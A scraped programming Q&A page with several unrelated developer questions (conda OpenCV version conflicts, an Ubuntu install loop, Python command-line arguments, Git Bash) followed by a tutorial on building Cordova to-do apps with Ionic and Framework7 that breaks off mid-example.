When trying to install specific Opencv on Anaconda (Windows OS), a message is shown below. Does it mean that which Python version has to be downgraded to be compatible with Opencv 3.4.2? Thanks in advance.
(base) PS C:\Users\328753> conda install -c conda-forge opencv==3.4.2 Collecting package metadata (current_repodata.json): done Solving environment: failed with initial frozen solve. Retrying with flexible solve. Collecting package metadata (repodata.json): done Solving environment: / Found conflicts! Looking for incompatible packages. This can take several minutes. Press CTRL-C to abort.
Examining @/win-64::__win==0=0: 25%|████████████▊ | 1/4 [00:00<00:00,Examining opencv==3.4.2: 50%|█████████████████████████████ | 2Examining python=3.8: 75%|█████████████████████████████████████████████▊ failed
UnsatisfiableError: The following specifications were found to be incompatible with the existing python installation in your environment:
Specifications:
- opencv==3.4.2 -> python[version='>=3.5,<3.6.0a0|>=3.6,<3.7.0a0|>=3.7,<3.8.0a0']
Your python: python=3.8.
- Fresh Ubuntu Installation rebooting to Install menu
I am having a heck of a time trying to install Ubuntu 20.04 on my computer. The computer I am using is a dell latitude 14 rugged 5414. I purchased a new 1TB SSD and inserted it into the slot in the side of the computer. I downloaded the most recent ISO of Ubuntu and used Rufus to load it on a removable USB Flash Drive. I put in the flash drive, entered the BIOS, and set the boot order to boot from the USB. I followed all the on-screen instructions and 12hrs later I'm greeted with a dialog that tells me to restart, so I do.
When it boots up I get a black screen that says "Invalid partition table!" if I hit enter it boots back up to the installation menu. It does this even without the installation medium plugged in. I have tried doing this like 3 times. Is there something that I'm missing? Has anyone else encountered this problem beore?
- Command line argument in python to run one of two scripts
My package has the following structure:
mypackage |-__main__.py |-__init__.py |-model |-__init__.py |-modelfile.py |-simulation |-sim1.py |-sim2.py
The content of the file
__main__.pyis
from mypackage.simulation import sim1 if __name__ == '__main__': sim1
So that when I execute
python -m mypackage, the script
sim1.pyruns. Now I would like to add an argument to the command line, so that
python -m mypackage sim1runs
sim1.pyand
python -m mypackage sim2runs
sim2.py.
I've tried the follwing:
import sys from mypackage.simulation import sim1,sim2 if __name__ == '__main__': for arg in sys.argv: arg
But it runs boths scripts instead of the one passed in argument.
In
sim1.pyand
sim2.pyI have the following code
from mypackage.model import modelfile print('modelfile.ModelClass.someattr')
- How do you delete a folder with files in it in Git Bash?
What command do I use to delete a folder and all contents in it using Git Bash?
- How can I provide a command line interface to my Android app?
I would like to be able to type commands on my development machine (macOS/zsh) and have them do things on my Android app. This will require custom code in my Android app. What I'm trying to do is something similar to automating certain settings, so that I don't have to navigate to the settings screen of my Android app manually. This is to help me save time while I'm developing my app.
How can I get started? I'd love to see some examples of this being done but have been having trouble finding them.
Are there any libraries that can help me with this?
Also, for bonus points, I'd love to be able to have some sort of autocomplete on my Mac command line. How might I build that? | https://quabr.com/67373610/unix-basics-commands-like-ls-is-not-working-on-my-windows-based-system | CC-MAIN-2021-21 | refinedweb | 1,077 | 67.25 |
Every Android project contains a "res" (resources) folder, which contains a number of subfolders, including one called "layout." This is the folder where we store web layout XML files. We can only use lowercase letters, numbers, periods, and underscores in web layout XML file name.
Being able to modify behaviour of a run time component through configuration is good architecture.
Listing 1: Text view declaration in an Android layout file
<TextView android:
In this example the string "android:text" is called an attribute of the class android.widget.TextView. The string "android" in "android:text" defines the XML namespace to separate our own attributes from those as defined in the android SDK. This is an example of how configuration can be used to change the behavior of a component at run time.
TextView happens to be a class that comes with the Android SDK. Android SDK has architected this class in such a way that we can change its behaviour at run time.
Listing 2: Example of TextView
<com.ai.android.book.apptemplate2.MyTextView android:
The attribute "custom_text" is a new attribute that is understood only by MyTextView, the class that is inherited from TextView. apptemplate is again a convention in XML to avoid attribute name conflicts. The name space becomes clear when we see the parent root XML node definition in the full xml layout file.
Listing 3: Example of layout file presenting a few lines at the top and bottom of that file.
<LinearLayout xmlns:android="" xmlns:apptemplate="" .... > <TextView .... /> <com.ai.android.book.apptemplate2.MyTextView .... /> </LinearLayout>
Notice that the two namespaces "android" and "apptemplate" at the beginning of the XML root node LinearLayout. The namespaces have to be unique. It is a mere convention that they point to an "http" like resource identifier. It is also a convention that we distinguish the new custom name space using a structure similar to android spec and ends it with our own root package name where the custom classes reside. In this example the root java package name is:
com.ai.android.book.apptemplate2
Even if there are sub packages under this package, it is sufficient to namespace them with the root package (in the layout file), unless we feel there are too many custom classes and we want to avoid name conflicts. Then we are free to have multiple name spaces for our sub packages. We are free to choose whatever pattern that meet our needs and don't have to follow the EXACT class package structure for the namespace.
Let's see now what MyTextView implementation may look like to read this custom attribute
Listing 4: Defining MyTextView Implementation
Public class MyTextView extends TextView { public MyTextView(Context context) { super(context); setMyText(context); } public MyTextView(Context context, AttributeSet attrs) { super(context, attrs); setMyText(context,attrs); } public MyTextView(Context context, AttributeSet attrs, int defStyle) { super(context, attrs, defStyle); setMyText(context,attrs); } //Implementation of setMyText private void setMyText(Context context) { this.setText("Hello there"); } private void setMyText(Context context, AttributeSet attrs) { this.setText(getFromAttrs(context,attrs)); } //Function to read the custom attribute //Stubbed out for now private String getFromAttrs(Context ctx, AttributeSet attrs) { String myText ="Custom Text"; return mytext; } }
Notice how this custom class is trying to read from the custom attribute in the method getFromAttrs().
First problem: Attribute Resource IDs and attrs.xml
So far we have a java class MyTextView. We have a layout file where we indicated a custom attribute called "custom_text".
Now if we place the layout file that has this custom attribute in our project and the compiler will tell us that the following attributeapptemplate:custom_text="Custom Hello" is in error. The error says that there is no "resource id" available for 'custom_text'.
In android when we declare resources such as strings, images, menus, and layouts in xml files Android stores them away and gives them unique integer constants called resource ids.
So to get a resource id for "custom_text", like other resources such as strings, we have to define this in an XML file.
"Custom_text" is an attribute that is going to be used again and again (like an instance). So, perhaps, we need to define it somewhere else first and possibly tell android more about this "custom_text" attribute such as, is it a string or an integer, or a boolean etc.
This definition of a custom attribute happens in an XML file sitting under the/res/values sub directory. Typically this file is called attrs.xml
Listing 5: Here is an example of custom attribute
<resources> <attr name="custom_text" format="string"></attr> </resources>
The custom attribute definitions don't have to be in attrs.xml. We can put them in strings.xml if we want, as long as this file is under the values sub directory. However, the convention is to use attrs.xml.The XML node "attr" is of special importance.
The custom attribute definition in the attrs.xml will create a resource constant like the followingR.attr.custom_text
Here is an implication of this. Because every native view/class in the android SDK may also have attributes that are defined this way, there must be an android.R.attr.* namespace that will tell us all possible attributes defined in the Android SDK!!
It is not wildly useful but if we want to know what is the "sum total" of the attributes defined by all the Android controlswe can look at the API reference for android.R.attr
Turning attention to the "format" property of the custom attribute, in my example above we have defined the custom_text as a string. This is indicated by the "format" attribute. Here are all the possible formats for XML defined object attributes.
To know how these format types are used we can see the Android API examples project which comes with the android SDK. Look at the /res/values/attrs.xml file.
Also, if we are able to get access to the source code of Core Android jar we can take a look at the "attrs.xml" in the android core project to see most of the formats used.
Listing 6: Examples of custom attributes taken from the android attrs.xml files
<attr name="text" format="string" /> <attr name="textColor" format="color" /> <attr name="textSize" format="dimension" /> <attr name="textAppearance" format="reference" /> <attr name="textColorPrimary" format="reference|color" /> <attr name="anr"> <enum name="none" value="0" /> <enum name="thumbnail" value="1" /> <enum name="drop" value="2" /> </attr> <attr name="windowSoftInputMode"> <flag name="stateUnspecified" value="0" /> <flag name="stateUnchanged" value="1" /> </attr> <!-- absolute dimension or fraction of the screen size --> <attr name="windowMinWidthMajor" format="dimension|fraction" />
Most attribute formats listed above are easy to interpret. Not so obvious in this listing is where formats can be combined as in "dimension|fraction" indicating that the value for the attribute can be either an absolute dimension or a percentage fraction.
So far we have done the following:
Listing 7: Locating the method where we are expecting to read the custom attribute
//Function to read the custom attribute private String getFromAttrs(Context ctx, AttributeSet attrs) { String myText ="Custom Text"; return mytext; }
An AttributeSet object corresponds to the set of attributes that are specified at that specific XML view object tag.
Listing 8: Following is the attribute specification for MyTextView
<com.ai.android.book.apptemplate2.MyTextView android:
The passed in AttributeSet object is a set of attributes that is a collection of id, layout_width, layout_height, text, and custom_text and NO MORE.
Listing 10: The AttributeSet class with the below methods
getAttributeCount(); getAttributeValue(String namespace, String name); getAttributeName(int index); getAttributeValue(int index);
For our example, the first method, getAttributeCount(), returns 5. Then using the index we can get the attribute value for our index for which our custom attribute name matches.
Figure 1: Sample Output
We understand how to create objects or attributes in Android. See you next time.
Software developer with more than 5 years of development on Java, HTML, CSS. | http://mrbool.com/how-to-create-objects-in-android/27048 | CC-MAIN-2015-48 | refinedweb | 1,319 | 53.1 |
rand() function declared in the stdlib.h header file returns random numbers.
int chosen = 0; chosen = rand(); // Set to a random integer
Each time you call the rand() function, it will return a random integer.
The value will be from zero to a maximum of RAND_MAX, the value of which is defined in stdlib.h.
The integers generated by the rand() function are described as pseudo-random numbers.
The sequence of numbers generated by the rand() function uses a starting seed number.
For a given seed the sequence will always be the same.
To get a different sequence of pseudo-random numbers each time a program is run, you can use the following statements:
srand(time(NULL)); // Use clock value as starting seed int chosen = 0; chosen = rand(); // Set to a random integer 0 to RAND_MAX
You only need to call srand() once in a program to initialize the sequence.
Each time you call rand() subsequently, you'll get another pseudo-random number.
To obtaining values in a range:
srand(time(NULL)); // Use clock value as starting seed int limit = 20; // Upper limit for pseudo-random values int chosen = 0; chosen = rand() % limit; // 0 to limit-1 inclusive
To get numbers from 1 to limit, you can write this:
chosen = 1 + rand() % limit; // 1 to limit inclusive
The following code shows how to let user guess a random number.
#include <stdio.h> #include <stdlib.h> // For rand() and srand() #include <time.h> // For time() function int main(void) { int chosen = 0; // The lucky number int guess = 0; // Stores a guess int count = 3; // The maximum number of tries int limit = 20; // Upper limit for pseudo-random values srand(time(NULL)); // Use clock value as starting seed chosen = 1 + rand() % limit; // Random int 1 to limit printf("\nThis is a guessing game."); printf("\nI have chosen a number between 1 and 20" " which you must guess.\n"); for (; count > 0; --count) {/*from w w w .j a va 2 s. c o m*/ printf("\nYou have %d tr%s left.", count, count == 1 ? "y" : "ies"); printf("\nEnter a guess: "); // Prompt for a guess scanf("%d", &guess); // Read in a guess // Check for a correct guess if (guess == chosen) { printf("\nCongratulations. You guessed it!\n"); return 0; // End the program } else if (guess < 1 || guess > 20) // Check for an invalid guess printf("I said the number is between 1 and 20.\n "); else printf("Sorry, %d is wrong. My number is %s than that.\n", guess, chosen > guess ? "greater" : "less"); } printf("\nYou have had three tries and failed. The number was %ld\n", chosen); return 0; } | http://www.java2s.com/example/c-book/generating-pseudo-random-integers.html | CC-MAIN-2018-39 | refinedweb | 434 | 72.76 |
VMBuilder doesn't work with grub2
Bug Description
If you run vmbuilder on a fresh karmic installation you get the following error message at the end of the vmbuilder run:
2009-08-09 01:06:56,792 INFO : Cleaning up
Traceback (most recent call last):
File "/home/
VMBuilder.run()
File "/home/
frontend.run()
File "/home/
vm.create()
File "/home/
self.install()
File "/home/
self.
File "/home/
EOT''')
File "/home/
proc = subprocess.
File "/usr/lib/
errread, errwrite)
File "/usr/lib/
raise child_exception
OSError: [Errno 2] No such file or directory
A quick look at VMBuilder/vm.py shows that it tries to call the program "grub" but this program doesn't exist with grub2.
The main problem here is that you can't have both of the packages grub and grub-pc installed at the same time since they replace each other. It looks like the maintainers of the grub packages didn't think about the not so common use case where you install a bootmanager package but don't want it to boot your machine. But if you have a freshly installed karmic machine you need both bootloader packages to be present or otherwise you couldn't create any VMs with an Ubuntu version older than karmic, even if vmbuilder supported grub2. A similar problem would occur, if you used an PC with EFI and the EFI version of grub2 so that you needed the PC version of grub2 to install the bootloader of the virtual machine.
Related branches
- Soren Hansen: Approve on 2009-10-08
- Diff: 46 lines1 file modifiedVMBuilder/plugins/ubuntu/distro.py (+20/-4)
I think that's actually a bug. grub and grub2 are meant to conflict.
You already have grub installed in the chroot at this point, as far as I can see. Why not just call grub in the chroot, rather than relying on whatever's installed in the host system?
lp:.
Hello Collin,
with your change the first ubuntu-vm-builder run worked for me. But the second try it didnt work.
i did this :
bzr diff -r 350 > patch (in your branch)
and applied this to /usr/share/
This is cut from the --debug logfile(fulllog attached):
2009-10-08 16:17:17,530 DEBUG : Checking if "/boot/grub/stage1" exists... no
2009-10-08 16:17:17,531 DEBUG : Checking if "/grub/stage1" exists... no
2009-10-08 16:17:17,531 DEBUG :
2009-10-08 16:17:17,531 DEBUG : Error 15: File not found
This is the command with i used (im using KVM with libvirt):
sudo ubuntu-vm-builder --debug kvm karmic --dest=
Eh, sorry for the typos.
Colin, people who upgraded from jaunty to karmic and did the test out grub2 will probably have both grub and grub2 installed (that is at least the situation with one of my hosts). Unfortunately, update-manager andapt-
$ sudo apt-get dist-upgrade
Reading package lists... Done
Building dependency tree
Reading state information... Done
Calculating upgrade... Done
The following packages will be REMOVED:
eclipse-source grub-pc grub2 libuniconf4.4
[SNIP]
Also, is the intended conflicting version really meant to be << 0.97-54, when the latest versions of grub (v1) that we ship is 0.97-29ubuntu58? Is it possible you meant <<0.97-29ubuntu54 ? Otherwise, why was 0.97-54 chosen?
In post #5 i did say that it worked the first try. That wasn't true for karmic. I forgot that i used 'ubuntu-vm-builder kvm jaunty' not
'ubuntu-vm-builder kvm karmic'.
So this just needs to be fixed for karmic guests.
I am seeing the same problem on Karmic with ubuntu-vm-builder and grub not finding the stage1 grub file.
I converted the qcow2 image created by vmbuilder to raw and then mounted the image to inspect the grub directory. It seems that the grub stage files are actually in /boot/grub/i386-pc.
ubuntu-
|-- System.
|-- config-
|-- grub
| |-- default
| |-- device.map
| |-- grubenv
| |-- i386-pc
| | |-- e2fs_stage1_5
| | |-- fat_stage1_5
| | |-- jfs_stage1_5
| | |-- minix_stage1_5
| | |-- reiserfs_stage1_5
| | |-- stage1
| | |-- stage2
| | |-- stage2_eltorito
| | `-- xfs_stage1_5
| |-- menu.lst
| |-- menu.lste
| `-- menu.lst~
|-- initrd.
`-- vmlinuz-
If you copy the stage files from boot/grub you can then manually install grub and get the KVM image to boot.
# cd ubuntu-kvm ; mkdir mnt
# qemu-img convert -O raw disk0.qcow2 disk0.img
# mount -oloop,offset=16384 -t ext3 disk0.img mnt
# cp mnt/boot/
# grub --device-
grub> device (hd0) ../disk0.img
device (hd0) ../disk0.img
grub> root (hd0,0)
root (hd0,0)
grub> setup (hd0)
setup (hd0)
Checking if "/boot/grub/stage1" exists... yes
Checking if "/boot/grub/stage2" exists... yes
Checking if "/boot/
Running "install /boot/grub/stage1 (hd0) /boot/grub/stage2 p /boot/grub/menu.lst "... succeeded
Done.
# qemu-img convert -O qcow2 disk0.img disk0.qcow2
I also ran into a bug in this area. I don't see the stack trace the reporter of this bug go.
This is what I see. Is this the same issue ?
2009-10-15 11:04:44,627 INFO : Copying to disk images
2009-10-15 11:04:44,628 DEBUG : ['rsync', '-aHA', '/tmp/vmbuilder
2009-10-15 11:04:48,215 INFO : Installing bootloader
2009-10-15 11:04:48,216 DEBUG : ['grub', '--device-
2009-10-15 11:04:48,216 DEBUG : stdin was set and it was a string: root (hd0,0)
setup (hd0)
EOT
2009-10-15 11:04:48,221 DEBUG : Oh, dear, an exception occurred
2009-10-15 11:04:48,222 INFO : Cleaning up
2009-10-15 11:04:48,222 DEBUG : ['umount', '/tmp/vmbuilder
2009-10-15 11:04:48,227 DEBUG : umount: /tmp/vmbuildern
2009-10-15 11:04:48,227 DEBUG : ['umount', '/tmp/vmbuilder
2009-10-15 11:04:48,241 DEBUG : umount: /tmp/vmbuildern
2009-10-15 11:04:48,241 DEBUG : ['umount', '/tmp/vmbuilder
2009-10-15 11:04:48,249 DEBUG : umount: /tmp/vmbuildern
2009-10-15 11:04:48,249 DEBUG : Unmounting /tmp/vmbuildern
2009-10-15 11:04:48,250 DEBUG : ['umount', '/tmp/vmbuilder
2009-10-15 11:04:51,977 DEBUG : ['kpartx', '-d', '/tmp/vmbuilder
2009-10-15 11:04:51,983 DEBUG : loop deleted : /dev/loop0
2009-10-15 11:04:51,983 DEBUG : ['kpartx', '-d', '/tmp/vmbuilder
2009-10-15 11:04:51,989 DEBUG : ['rmdir', 'ubuntu-kvm']
2009-10-15 11:04:51,992 DEBUG : ['rm', '-rf', '/tmp/vmbuilder
2009-10-15 11:04:52,337 DEBUG : ['rm', '/tmp/tmpZbZv9q']
Couldn't find the program 'grub' on your system
Buddha,
You need to install grub version 1 if your Karmic install is using grub2. VMbuilder will then be able to create an image but the next problem is the image will not boot unless you manually install grub. Grub seems to be unable to find the grub stage files.
Using a fresh install of karmic (grub2 only on host)
I had to manually apply the patch made by Colin Watson (comment #4) and it almost worked...
First question, why is this patch not yet included in an updated package of vmbuilder ?
Second, I encountered the same problem as Iain Allan (comment #9), I think I fixed it, patch below...
I can finally build karmic vm on karmic host, ... and start them!
patch against python-vm-builder 0.11.1-0ubuntu1
--- /usr/share/
+++ /usr/share/
@@ -306,7 +306,7 @@
def install_grub(self):
- run_cmd('cp', '-a', '%s%s/%s/' % (self.destdir, self.grubroot, self.vm.arch == 'amd64' and 'x86_64-pc' or 'i386-pc'), '%s/boot/grub' % self.destdir)
+ run_cmd('cp', '-a', '%s%s/%s/.' % (self.destdir, self.grubroot, self.vm.arch == 'amd64' and 'x86_64-pc' or 'i386-pc'), '%s/boot/grub' % self.destdir)
def create_
import VMBuilder.
Steve, I chose -54 because that's the version in Debian which transformed grub into a dummy transitional package. Theoretically at some point we might get round to merging that.
I'm afraid there's not a whole lot we can do about the fact that the added Conflicts is confusing for people with both grub and grub-pc installed. That was an error state, plain and simple - the packages shipped the same files! This didn't cause an error due to Replaces, but it's definitely wrong.
Adding grub2 support to VMBuilder seems very non-trivial at the moment. However, it seems that grub and grub2 can peacefully coexist now? I'm certainly using grub2 on my laptop, but have just installed grub and VMBuilder builds virtual machines just fine now. | https://bugs.launchpad.net/vmbuilder/+bug/410886 | CC-MAIN-2018-13 | refinedweb | 1,406 | 73.17 |
I just need some clarification on what my homework assignment is telling me to do.
Ok, this is the homework question:
Write a program that reads a key pressed on the keyboard and displays its code on the screen. Use the program to determine the code for the Enter Key. Then write a function named ReadOneChar() that reads a character and ignores any succeeding characters until the Enter key is pressed. The entered character should be returned by ReadOneChar()
My code:
#include <iostream> using namespace std; int main() { int Key; Key=getchar(); cout << Key <<endl; return 0; }
Ok, so what my code is doing right now is just prompting the user for an input, then displays the ASCII value of the input. So it works and it retrieves the value of the Enter key as needed.
What I do not understand is what the second part of the homework is asking. Can anyone clarify it for me? Is it just asking to return the first character of a string? | https://www.daniweb.com/programming/software-development/threads/267408/c-data-processing-help | CC-MAIN-2018-30 | refinedweb | 169 | 69.41 |
Vivek Goyal <vgoyal@in.ibm.com> writes:> On Thu, Dec 21, 2006 at 03:32:33AM -0700, Eric W. Biederman wrote:>> J.>> >> am using grub 0.97. So any dependency on lilo can be ruled out in this> case.>> Following is my software environment.>> gcc version 4.1.1 20061130 (Red Hat 4.1.1-43)> GNU ld version 2.17.50.0.6-2.el5 20061020>> I got Intel Xeon machine.>> processor : 0> vendor_id : GenuineIntel> cpu family : 15> model : 4> model name : Intel(R) Xeon(TM) CPU 3.40GHz> stepping : 3> cpu MHz : 3400.483> cache size : 2048 est cid cx16 xtpr> bogomips : 6805.59> clflush size : 64Take a look at the diff for commit 968de4f02621db35b8ae5239c8cfc6664fb872d8of setup.S there are very few candidate instructions.I suspect with a few minutes of review we should be able to see what theassembler is doing wrong and decide if we want to blacklist that assembleror work around it's bug.diff --git a/arch/i386/boot/setup.S b/arch/i386/boot/setup.Sindex 3aec453..9aa8b05 100644--- a/arch/i386/boot/setup.S+++ b/arch/i386/boot/setup.S@@ -588,11 +588,6 @@ rmodeswtch_normal: call default_switch rmodeswtch_end:-# we get the code32 start address and modify the below 'jmpi'-# (loader may have changed it)- movl %cs:code32_start, %eax- movl %eax, %cs:code32- # Now we move the system to its rightful place ... but we check if we have a # big-kernel. In that case we *must* not move it ... testb $LOADED_HIGH, %cs:loadflags@@ -788,11 +783,12 @@ a20_err_msg: a20_done: #endif /* CONFIG_X86_VOYAGER */-# set up gdt and idt+# set up gdt and idt and 32bit start address lidt idt_48 # load idt with 0,0 xorl %eax, %eax # Compute gdt_base movw %ds, %ax # (Convert %ds:gdt to a linear ptr) shll $4, %eax+ addl %eax, code32 addl $gdt, %eax movl %eax, (gdt_48+2) lgdt gdt_48 # load gdt with whatever is@@ -851,9 +847,26 @@ flush_instr: # Manual, Mixing 16-bit and 32-bit code, page 16-6) .byte 0x66, 0xea # prefix + jmpi-opcode-code32: .long 0x1000 # will be set to 0x100000- # for big kernels+code32: .long startup_32 # will be set to %cs+startup_32 .word __BOOT_CS+.code32+startup_32:+ movl $(__BOOT_DS), %eax+ movl %eax, %ds+ movl %eax, %es+ movl %eax, %fs+ movl %eax, %gs+ movl %eax, %ss++ xorl %eax, %eax+1: incl %eax # check that A20 really IS enabled+ movl %eax, 0x00000000 # loop forever if it isn't+ cmpl %eax, 0x00100000+ je 1b++ # Jump to the 32bit entry point+ jmpl *(code32_start - start + (DELTA_INITSEG << 4))(%esi)+.code16 # Here's a bunch of information about your current kernel.. kernel_version: .ascii UTS_RELEASE-To unsubscribe from this list: send the line "unsubscribe linux-kernel" inthe body of a message to majordomo@vger.kernel.orgMore majordomo info at read the FAQ at | http://lkml.org/lkml/2006/12/21/117 | CC-MAIN-2016-07 | refinedweb | 457 | 75.2 |
12 min read
These days, web developers rule the world. JavaScript is used everywhere one can program. Among these areas, mobile app development was one of the first ways to branch out: About ten years ago, PhoneGap allowed HTML and JavaScript app installation for iOS and Android.
Since then, the technology has had its ups and downs: Despite the ease of development, these apps were obviously quite different from native apps. Vanilla HTML and browser-based JavaScript were targeted at browsers, and there was no way for them to flawlessly migrate to this new field.
To this day the main issues still are:
- Difficulties in adhering to native design and animation
- Complex screen transition effects
- Touch events handling
- Performance on big lists
- Positioning fixed elements
- Adapting for different screen sizes
- Locations of native control elements (for example, the iOS status bar)
- Adapting to different mobile browsers
Why Use a Framework for Cordova Apps?
Cordova technology is often underestimated because of apps that have the above issues. Frameworks aim to offset them and take HTML apps as close to native apps as possible, both in design and performance.
Let’s look at a couple of hybrid app examples. They’re made with the two currently most successful frameworks—besides Onsen UI—which are set to facilitate the expansion of web developers in the modern world: Framework7 and Ionic.
About the Ionic Framework
Ionic was developed by Drifty Co. in 2012 and is based on Angular. Since then, it has been in active development, receiving significant investments and a strong developer community. The official website claims that millions of apps have been developed based on it.
At the moment of writing of this article, the most recent version is Ionic 3 based on Angular 5. Ionic 4, aiming for flexibility and independence from Angular, is in early beta.
Apart from the UI engine, a wonderful component library, and an interface for accessing native device functions, Ionic offers multiple extra capabilities, services, and utilities.
The Ionic CLI
Ionic’s command-line interface is used for interactive project initialization (i.e., a wizard), generating pages and components, and running a development server that allows you to build apps on the go and Live Reload them. It also provides integration with Ionic cloud services.
Lab and DevApp
Lab is the extremely useful mini-service that allows you to imitate the work of the application on different platforms in the Ionic developer’s browser. DevApp helps you quickly deploy an app to a real device.
Packaging, Deploying, and Monitoring
Ionic comes with a bundle of web services that simplify and speed up building, debugging, testing, and updating applications for testers and users.
Ionic’s plans change often, though. Some previously existing services—such as Auth, Push, Analytics, and View—were closed, causing an outcry from the subscribers.
Creator
This is Ionic’s drag-and-drop graphic editor for developing functional interfaces.
About Framework7
This framework was developed in 2014 by Russian studio iDangero. Ultimately, one developer has been working on the project, not including several minor contributors to the GitHub repository.
Originally, Framework7 consisted of the set of UI components in the style of then-recently-released iOS 7, from which it gets its name. Later, an Android theme was added, and both themes were updated for the most recent iOS and Material Design.
Recently, the project’s development picked up pace, and it expanded from a set of components to a full-fledged framework for mobile applications, integrating popular technologies and tools.
Framework7’s support and examples using Vue.js have existed since v1, and v3 also supports React. This is what may allow the project to seriously compete with the more popular Ionic, which only offers Angular and TypeScript.
Installation and First Launch
Ionic
To start working with Ionic, install it with NPM:
npm install -g ionic
Then, select the template for the future application. The official Ionic website offers multiple templates, or you can select an empty template to build the application from the ground up with
ionic start myApp blank.
Let’s select a simple design. Execute the following command:
ionic start Todo tabs
Answer “Yes” when the installer asks “Would you like integrate your new app with Cordova to target native iOS and Android?” This will automatically integrate the application with Cordova and prepare it for deployment on mobile platforms.
In the next step, the installer will offer to connect us to the Ionic Pro SDK. Answer “No” for now to keep the example simple.
Install the additional
@ionic/lab package to get the convenient debugging UI—in-browser imitations of iOS, Android, and Windows devices:
cd Todo npm i --save-dev @ionic/lab
Now you can start the application in debug mode. This allows you to develop and debug the application live in the web browser:
ionic lab
As a result, you will get several useful addresses:
The Ionic Lab debugging service is launched on port 8200. The application itself runs on port 8100, and the Open fullscreen link from Ionic Lab leads there. The browser window with the running Ionic Lab opens automatically.
Additionally, Ionic provides the application address in the local network. This is extremely useful, as it allows you to open the application in the mobile device browser, as long as the device is in the local network (for example, via Wi-Fi). Additionally, you can use the Add to Home Screen button to reopen the application in fullscreen mode. This is the quickest way to test your application on the device.
Another way is the Ionic DevApp application, which can be installed on a mobile device and provides access to the application via the local network. It offers plugin support (Ionic Native) for access to native device functions and displaying logs.
Framework7
F7’s development tools are less advanced than Ionic’s, and the automatic initialization CLI is not documented. However, the official website provides several GitHub repositories with template projects that will help you start developing.
Similar to the Tabs template in Ionic, F7 offers Tabbed Views, but we will use a more functional template that integrates Framework7 with React. The support for React was added in v3. For that, clone the template repository:
git clone Todo
Switch to the project folder, fetch dependencies, and start the process:
cd Todo npm install npm start
The execution results are similar to Ionic: You get a local link and a link within your network for instant access from a real device:
Now you can open in a browser. Framework7 does not include built-in device emulators, so let’s use Chrome DevTools’ Device Mode to get a similar result:
As you can see, Framework7 is similar to Ionic in that it has iOS and Material Design as its two standard themes. The theme is selected based on the platform.
Sadly, unlike a similar template with Vue.js support in the official React templates, Webpack is not yet implemented and this prohibits us from using Hot Module Replacement to quickly update applications without reloading the page. Still, you can use the default live-reload feature, which reloads the page whenever you change the source code.
Setting up Cordova
To install applications on devices and emulators with Cordova, you need to download and set up development tools for iOS and Android, as well as Cordova CLI. You can read more about this in our previous article and on the official Cordova website in the iOS Platform Guide and Android Platform Guide sections.
Ionic
Experience shows that to successfully solve the majority of Ionic issues, browser-based debugging with occasional tests on real devices is sufficient.
Despite you accepting the integration for iOS and Android, and Ionic preparing the required settings in the
config.xml file and resources in
resources folder, you still need to connect both platforms to the application with Cordova:
cordova platform add ios cordova platform add android
Now you can start the Cordova app in “real” emulators, install it on the mobile device, and even send it to the App Store and Google Play.
The next command installs the application to your iOS device if it is connected by USB. Otherwise, the app will be installed on the iOS Simulator.
cordova run ios
Most likely, Xcode Command Line Tools will inform you about the need to set up developer certificates. You will need to open the project in Xcode and perform the required actions. This only needs to be done once, and afterwards you will be able to run the application with Cordova CLI.
Sometimes iOS Simulator does not launch automatically. In this case, start it manually, for example through Spotlight.
The Android emulator can be started in a similar way:
cordova run android
Note that the
cordova run command starts and installs the already compiled application, which does not use the
ionic serve/
ionic lab server, so Live Reload will not work. To develop and debug the application live, use the browser in the local network or install the Ionic DevApp application.
Experience shows that to successfully solve the majority of Ionic issues, browser-based debugging with occasional tests on real devices is sufficient.
Framework7
The “React” Framework7 template chosen earlier does not provide setup automation for Cordova, so you will need to add platforms manually. Create a Cordova project in the
cordova subfolder of your project folder:
cordova create cordova/ com.example.todo Todo cd cordova/ cordova platform add ios cordova platform add android cd ../
The template is based on the Create React App, so to run the compiled project in a Cordova environment you need to add the
"homepage": "." setting to the
./package.json file. This file can be found at the root level of the project:
Compile the Framework7 project and copy the result to the Cordova project:
npm run build rm -rf cordova/www/* cp -r build/* cordova/www/
Now you can start the application on a device or an emulator:
cd cordova/ cordova run ios
You are done! Let us hope that Framework7 catches up to Ionic’s standard of development and initial setup convenience.
Creating Task Lists
Ionic
Let’s finally start creating the application! Since this is a To Do application, the main page (
src/pages/home/home.html file) will contain the list of tasks with the ability to “mark completed” and “add new.”
Ionic offers the components
<ion-list> and
<ion-item> for lists. First, remove the
padding property from the
<ion-content> element to make the list screen-wide. In the list, place the text using an
<ion-label> element and add an
<ion-toggle> element to mark completed tasks.
<ion-content> <ion-list> <ion-item> <ion-label>Hello</ion-label> <ion-toggle></ion-toggle> </ion-item> <ion-item> <ion-label>Toptal</ion-label> <ion-toggle></ion-toggle> </ion-item> <ion-item> <ion-label>Blog</ion-label> <ion-toggle></ion-toggle> </ion-item> </ion-list> </ion-content>
Go back to the browser tab with the Ionic Lab service running. The application was updated automatically:
Great! Now move the task data to the JS object and set up its HTML presentation with Angular. Go to the
src/pages/home/home.ts file and create the tasks property of the
HomePage class instance:
export class HomePage { tasks = [{ name: 'Hello' }, { name: 'Toptal' }, { name: 'Blog' }]; constructor() { } }
Now you can refer to the
tasks array in HTML code. Use the
*ngFor Angular construct to iteratively create list elements for each array element. The code gets smaller:
<ion-list> <ion-item * <ion-label>{{task.name}}</ion-label> <ion-toggle></ion-toggle> </ion-item> </ion-list>
All that is left is to add the button to create new tasks to the page header. To do this, use the
<ion-navbar>,
<ion-buttons>,
<button>, and
<ion-icon> components:
<ion-header> <ion-navbar> <ion-title>To Do List</ion-title> <ion-buttons end> <button ion-button icon-only (click)="addTask()"> <ion-icon</ion-icon> </button> </ion-buttons> </ion-navbar> </ion-header>
Note the
(click)="addTask()" Angular construction. As you can guess, it adds the tap handler to the button and calls the
addTask() method for our component. Let’s implement this method to open the task name dialog window when the button is tapped.
For this you need the
AlertController Ionic component. To use this component, import its type:
import { AlertController } from 'ionic-angular';
And specify it in the constructor parameters list for the page:
constructor(public alertCtrl: AlertController) { }
Now you can call it in the
addTask() method. Set it up after the controller. You can create and display the dialog window with the following calls:
this.alertCtrl .create(/* options */) .present();
Specify the message header, the description of the field and two buttons in the
options object. The “OK” button will add a new task to the
tasks array:
handler: (inputs) => { this.tasks.push({ name: inputs.name }); }
After you add the element to the array
this.tasks, the component will be rebuilt reactively and a new task will be displayed in the list.
The full page code looks like this now:
